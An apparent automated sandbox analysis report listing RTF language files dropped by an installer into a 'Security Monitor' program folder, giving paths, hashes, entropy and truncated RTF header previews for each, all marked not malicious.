C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-BE6VF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50366
Entropy (8bit):	5.042918546603945
Encrypted:	false
SSDEEP:	768:2eFMz47wCEnkVlYgiDGi3w2EHnT2njX8x37HzX3MmwxEJBMmfX8+VUf8SP8VrZJ6:2ebHcIA9/
MD5:	479AE0F93EE93B62EDED9259EFD3D417
SHA1:	ADFC98043F7B02403F496028274A9849DADE9415
SHA-256:	AE39FDC0D0299C5CC2AE703E1F39CE87FB6317DFEFA3DD3957CC3C7BFC94233D
SHA-512:	914EB7570D95563A23BCF6CFC354297C7A9ECE8F48AC1E6F872B7CCAB00B9977271A7148444E8DD119EC6BD7C4A4DB4830EC7EEBDE89FDE72E6A20B3E5DA2E91
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}{\f41\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flo

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-C3UII.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78843
Entropy (8bit):	4.977552271527579
Encrypted:	false
SSDEEP:	768:2FFfTw1wko5DlJXCrfTYlD2oC+zKjkMpAkVZEdvI9vTwliBKMkZKU4B3dHlbZBG4:2FuLTwlsdfmIA9U
MD5:	410CC0145DFADC0855A7081EC0808E79
SHA1:	4DB58BD6606D3266E9C3775CE5B41333DE38EC03
SHA-256:	D9C2247313A637FB992DCC176C9D96A06A891EA76F78E373FF038532FCC5EEBF
SHA-512:	B7B85D67CE8756DB341CD324592308AD6662D853E0CC08B3A64B09FB9D40D21B945EF1F4EEA8DF7DA92F281BED4B92930F81A0EDBEB7498CE03056AC0DF370CE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-EEOAO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48087
Entropy (8bit):	5.042429118311867
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/fB5+aWqeNgVVhGPNNlV9GEijSKcAPv6SAJjeR+RP8yJ0LTrI6JtOt:2e7dRRoIA9f
MD5:	4BF6C8774BA58F01B8916C5DDD525E82
SHA1:	F493778C8F8CBD77CC9FC11F1E628FD05C6B0F87
SHA-256:	1D3481510B1220FF2BB3EFBC4137E73A237842AEC233E289EDE6039412FC1ACA
SHA-512:	208BA94ECDB45A089AD16A665DA51C7C29267268DE83DFC4F44D8EE29805031DD79E9681E12F6D5C8CE9C8E13FAFB3CB9C5DA535712416D4941233E546A794A8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-FJLB6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59955
Entropy (8bit):	4.987423779028573
Encrypted:	false
SSDEEP:	768:2FFbLxZjkouUyWXCrfTYlD2oC+zKjkMpAkVZEdvI9DFxg1946VKOFeOkOecLd6Pa:2FLIFxgCSIA9TkWIy
MD5:	E0ED1922B52E062A733812CDC97F78ED
SHA1:	FFE7CBE2173ABEC59FDD66949DF05FAE07310FBC
SHA-256:	436533A19E5DB84BAFC7FC2A0DBECE56577648EF416D5A54C2D3A9D46289B9BB
SHA-512:	95DF26BFFC5FD4B77773C460BDB438ACC4E1A3146E502C8D7FBECE9D29A842513E6C44DBFCB04BDB9682802CBE8BA6E49723C996A550EEB864392B71D184AE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-FUR3S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	51468
Entropy (8bit):	5.04658714654288
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f15+0UcENgVVhGPNIlV9GEijaKcAPv6SAJjmYWR8KdYJ2nkfleSQ+:2e78tYiIA9U
MD5:	80A5E124BF233B48028E3886DE7897EB
SHA1:	F21E4120B6E2C4CABB5A2640AA208E9A94E193B7
SHA-256:	99807A4CF83C65D73CA39ADCC5058B28CA17812102304288420BAF9091DCDACE
SHA-512:	8168FB4A5E19938352E6E2662330214FB4A4209BD015F9615E3308FB808633EF346BAD56ED85B9946D8B40F87680B8B09B3676EF9591BDD27131A3C5842423D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-I4J31.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44042
Entropy (8bit):	5.0382315831173985
Encrypted:	false
SSDEEP:	768:2QFDC47+EpRx1IKZR1yc+rROcPI0QhhiLVRtvYq14MfzCJrUwQpd8HZ/6A9u:2QDFUnUIA9u
MD5:	C87126C1EBFECCC1BE9D35D2C25360F3
SHA1:	9968DE7D3CAA691A6EB0E643E643C34B7B044F55
SHA-256:	0965D39B40A80B7EF5452ACEEEC9CE43CC5C8D6762617F8FF907444377844D14
SHA-512:	0AA0315529CA2C5D04F4A5BF4DE4991C2F8551AA38559D5C6AAD87F363B1D806457C3F33274873CFCF661646FBE2F730A4461D6ADE66C2DB36BD13AFAD5F1849
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-JSQ9J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52052
Entropy (8bit):	5.0423517848490995
Encrypted:	false
SSDEEP:	768:2eFD747+kxKTllT2njX8x3xezX3MmwxXoC+zKjkMpEZI6xAzj54vWHmI9ikzmind:2ee2XMIA9o
MD5:	86DF8DBFBB9E6B68A8255BF9B36A9A79
SHA1:	49BBA097A2FA7B3AA66E58F2ECCB244444C96AD3
SHA-256:	232B3BC657DA966541951F2BCAD65B0394BA11608B61F60732E9049B70D8C46D
SHA-512:	BE429F10D254B65E0DEBA90598DEF9ABACD7C641FDF418B7FA272DED99ABA0A3C6E91CF002CEFDB43D95F54466CD0631326788D6E59628ED0A7922422E530F5A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-OUT44.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53408
Entropy (8bit):	5.027531716371282
Encrypted:	false
SSDEEP:	768:2QFDC47+EvnaBT2njX8x33HcSAzpdhN0XmQ6ZdgvSSIAPZIAP6IAe+XUNRXp76PC:2QDXJksIA9U
MD5:	3BA78ADB6E868B5B64CA3AFD406569D8
SHA1:	3E8031CC5453C731A67604B495AEC251CAA93843
SHA-256:	C4EAC5BC2B6C11C7ED8741FF1ACCCAB71230E01EDD80403655EE54254673DA83
SHA-512:	28F58E5595C7DA45F3361C18B12014831D49B84D0FB572D331F2CFA71B8B22B16502DCDDFF6486F7767976BA0B379CBB21F467F9843962E4EA8A1E5E889EE79C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-QBCKO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46096
Entropy (8bit):	5.034181446312948
Encrypted:	false
SSDEEP:	768:2FFU347wx2Oa75aEZM/rvg20xQBcqtqYepjRBcnjX8x3b99QONKaQB2Ctj+Z/6AI:2Fp7FIA9u
MD5:	B8B7FAFEA8A56DF708E8CE7BB37516F2
SHA1:	FA15A15E9BD2B99CE60BDF170FBD668F89D87C7C
SHA-256:	E28805183757391F057ADA505CD5648E029FBB4D3DBCDDB9B19B8135A11EC113
SHA-512:	C8D9F66F94D32353F59FF2A28153647906B01ECE715A764BA33B907E81B27AE411FE951ECDD039A9BD596B7EEA1CD9CC802991EE74BB8FF71A1BE051B6CC32A3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-REP42.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48219
Entropy (8bit):	5.043881411943709
Encrypted:	false
SSDEEP:	768:2eFfzxZCsxIa4IRVIvOM/rvg20xLjIddpuXVfs+zKjkMpTFFJ+kH3q+1yMPhU32n:2e7uFdIA9V
MD5:	8C8176E8F2409E52F66BA8228B6EEEF4
SHA1:	ED1F5902631C6273022B8C1C6582BD15FA76107F
SHA-256:	FFE2EACEDE61AFC4BEF5370CF51CF41430F2660FEF291087150EF773793F5448
SHA-512:	3210FB8DDB601E1CC322213CFAD6F6A463D882CCD2BA21A4ED19414FC074FA3AD597AAEA75F6B14D857EBE7FB54B5B0594F2661EDC7BAEC0BB26C746C841283D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50366
Entropy (8bit):	5.042918546603945
Encrypted:	false
SSDEEP:	768:2eFMz47wCEnkVlYgiDGi3w2EHnT2njX8x37HzX3MmwxEJBMmfX8+VUf8SP8VrZJ6:2ebHcIA9/
MD5:	479AE0F93EE93B62EDED9259EFD3D417
SHA1:	ADFC98043F7B02403F496028274A9849DADE9415
SHA-256:	AE39FDC0D0299C5CC2AE703E1F39CE87FB6317DFEFA3DD3957CC3C7BFC94233D
SHA-512:	914EB7570D95563A23BCF6CFC354297C7A9ECE8F48AC1E6F872B7CCAB00B9977271A7148444E8DD119EC6BD7C4A4DB4830EC7EEBDE89FDE72E6A20B3E5DA2E91
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}{\f41\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flo

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54667
Entropy (8bit):	5.033087064941872
Encrypted:	false
SSDEEP:	768:2QFDpxZMjE/d8NwyHF2njX8x3l7G5V5V5h5G5P5N5gkBJ5qA23YtFZSEHtoGCzU/:2Q9svIA9h
MD5:	51AF8BBE0EB54E295570F088C17CBBA4
SHA1:	E8CD73723EB618FA3F9A26B7F56EAA0C9397F0C9
SHA-256:	E9E9F0B183F57BEA6BF02B6BDCBAB45B8BACDFF889CD4E6882E62C3E3F8CC4C8
SHA-512:	582D0EB523E3AA4F152A858DD15C10F5379BA981EAAC75A5B427BCE8287634AF3D14D8AC045754B5FE3BEC9CAC317EC324D72EC2519C11FAE2A9FE3D60FD1F15
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59955
Entropy (8bit):	4.987423779028573
Encrypted:	false
SSDEEP:	768:2FFbLxZjkouUyWXCrfTYlD2oC+zKjkMpAkVZEdvI9DFxg1946VKOFeOkOecLd6Pa:2FLIFxgCSIA9TkWIy
MD5:	E0ED1922B52E062A733812CDC97F78ED
SHA1:	FFE7CBE2173ABEC59FDD66949DF05FAE07310FBC
SHA-256:	436533A19E5DB84BAFC7FC2A0DBECE56577648EF416D5A54C2D3A9D46289B9BB
SHA-512:	95DF26BFFC5FD4B77773C460BDB438ACC4E1A3146E502C8D7FBECE9D29A842513E6C44DBFCB04BDB9682802CBE8BA6E49723C996A550EEB864392B71D184AE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78843
Entropy (8bit):	4.977552271527579
Encrypted:	false
SSDEEP:	768:2FFfTw1wko5DlJXCrfTYlD2oC+zKjkMpAkVZEdvI9vTwliBKMkZKU4B3dHlbZBG4:2FuLTwlsdfmIA9U
MD5:	410CC0145DFADC0855A7081EC0808E79
SHA1:	4DB58BD6606D3266E9C3775CE5B41333DE38EC03
SHA-256:	D9C2247313A637FB992DCC176C9D96A06A891EA76F78E373FF038532FCC5EEBF
SHA-512:	B7B85D67CE8756DB341CD324592308AD6662D853E0CC08B3A64B09FB9D40D21B945EF1F4EEA8DF7DA92F281BED4B92930F81A0EDBEB7498CE03056AC0DF370CE
Malicious:	false
Reputation:	unknown
